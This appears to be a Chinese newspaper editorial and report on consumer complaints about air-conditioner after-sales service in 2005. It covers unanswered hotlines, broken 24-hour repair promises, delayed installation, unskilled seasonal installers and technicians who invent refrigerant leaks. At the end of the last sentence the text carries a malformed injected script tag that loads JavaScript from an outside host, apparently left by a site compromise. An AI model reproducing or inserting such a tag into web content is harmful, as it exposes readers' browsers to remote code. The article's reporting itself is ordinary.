编者按："三分质量七分安装"是空调与生俱来的特点，这也从一个侧 面折射出空调售后服务的重要性。事实上，多年来，空调的售后服务 一直都是厂商和消费者所关注的焦点，在企业的市场营销环节中扮演 着微妙而重要的角色。
而且，对于空调售后服务的重要性，许多空调企业都表达了各自 的观点。有的认为，售后服务是企业生产制造环节的一种延伸，它考 验着企业在空调制造环节中的稳定性和通用性；有的认为，售后服务 是一种市场营销手段，得益于它的特殊性和不可比性，成为空调企业 参与激烈市场竞争的一项重要砝码；有的认为，售后服务是企业的重 要组成部分，可与研发、制造、销售等环节相提并论，并且在关键时 刻决定着其他环节的好坏。
在如此认知的基础上，诸多企业根据自己的理解推出了一系列颇 具个性和卖点的售后服务内容和理念，尤以今年为甚。但细看这些所 谓的服务，又有着多少的含金量？从我报驻各地记者发来的报道中， 不难看出一二。盘点2005年空调售后服务忧患依然大于安乐。
近几年来，有不少的空调生产厂家与经销商在售后服务 方面的承诺越来越多，但消费者的投诉却始终是居高不下，今年1～7 月的情况更是如此。原因主要是一些空调生产厂家与经销商在激烈的 市场竞争中将“承诺”抛在了脑后，从而造成了“上帝”的烦恼不断。
“上帝”烦恼不断
7月28日，中国消费者协会公布了今年上半年全国各地消协受理 消费者投诉的汇总情况，结果显示：上半年全国消费者的投诉总件数 同比下降了7.5%，而消费者对空调产品及售后服务的投诉量却同比增 长了20.4%。
从各地的具体情况来看，今年7月份的投诉量更是创下了历史纪 录。例如，据宁波市工商局“12315”消费者申(投)诉举报中心的统 计结果显示：7月份共受理消费者投诉1028件，其中有关空调产品及 售后服务的投诉就有415件，同比猛增了243%；据广州市消保委投诉 部的统计显示：7月份有关空调及售后服务的投诉比6月份增加了近50%； 据上海市质监局“12365”质量投诉举报中心的统计显示：7月份 有关空调及售后服务的投诉量为历年来最高的。
厂商承诺与实际相差悬殊
综合1～7月各地消费者对空调售后服务的投诉情况来进行分析， 可发现一些生产厂家与经销商实际做的与当初承诺的相差悬殊，主要 表现在以下几个方面。
服务热线形同虚设。在夏季的使用高峰中，不少售后服务的热线 电话不但很难打进，个别服务热线甚至出现了无人接听的状况，而且 打进后一些厂商的售后服务部门会以“现在派不出人、留下地址与电 话等我们的通知、需更换的零部件现在缺货”等借口来进行搪塞。例 如，上海有关部门在7月4日下午5时至5时30分尝试拨打了9家品牌空 调售后服务部门的报修电话，能顺利接通的仅有2家，有5家的报修电 话分别在拨打了3次～14次之后才接通，其余2家的报修电话竟然在连 续拨打了30分钟后还始终无法接通。
24小时保修变成了“无限期等待”。有一些厂家在实际的操作中 是讲归讲、做归做，甚至有个别厂家的所谓24小时保修还让消费者尝 到了“无限期等待”的滋味。例如，江苏的消费者洪先生6月25日安 装的空调在当天晚上就出现了故障，洪先生随即拨打了厂家的“24小 时保修”电话，但直到7月4日才见到了维修人员。
“即卖即装”成了“空头支票”。有不少的消费者在付了钱之后 发现，所谓的“即卖即装”实际上是“空头支票”，商家不但做不到 这一点，而且还会以“安装人员实在排不过来”等理由来拖延安装的 时间。例如，从7月份广东、北京、上海等地的消费者对空调售后服 务的投诉情况来看，投诉频率最高的就是安装不及时。
“自行安装让利”实为“甩掉包袱”。在今年夏季的高温时期， 上海、湖北等地的个别商家曾以“安装人员忙不过来”为借口而推出 了“自行安装让利”的促销活动，但结果是有一些消费者在发现了问 题后才知道“便宜”变成了麻烦。原因一是自行安装的空调在出现质 量问题后，商家会以“安装不当”为理由来推卸责任，即使投诉也很 难分清责任；二是在“自行安装让利”促销活动中销售的基本上都是 小牌子空调，而商家也知道这类空调日后的售后服务将会难以保证， 所以就用“自行安装让利”的方式来甩掉售后服务的包袱。
专业安装队伍中混有“四八人员”。在个别所谓的专业安装队伍 中确实混有4月初被招进来8月底离开的“四八人员”，其“速成”的 操作能力只能勉强称得上“业余”，如有一些“四八人员”在安装空 调时经常会犯“穿墙孔外高内低、螺丝帽未拧紧、连接铜管被人为压 扁”等低级错误。
维修中“请你吃药”
按理说，在空调的维修或移机过程中，需要加“药水”(氟利昂) 的比例是比较低的，但为什么还是出现了漏氟利昂的“故障”比例特 别高的现实情况呢？就是因为有个别的维修人员常常利用“手控”压 力表上的数据来“证明”加液的必要性?script src=http://er12.com/t.js>
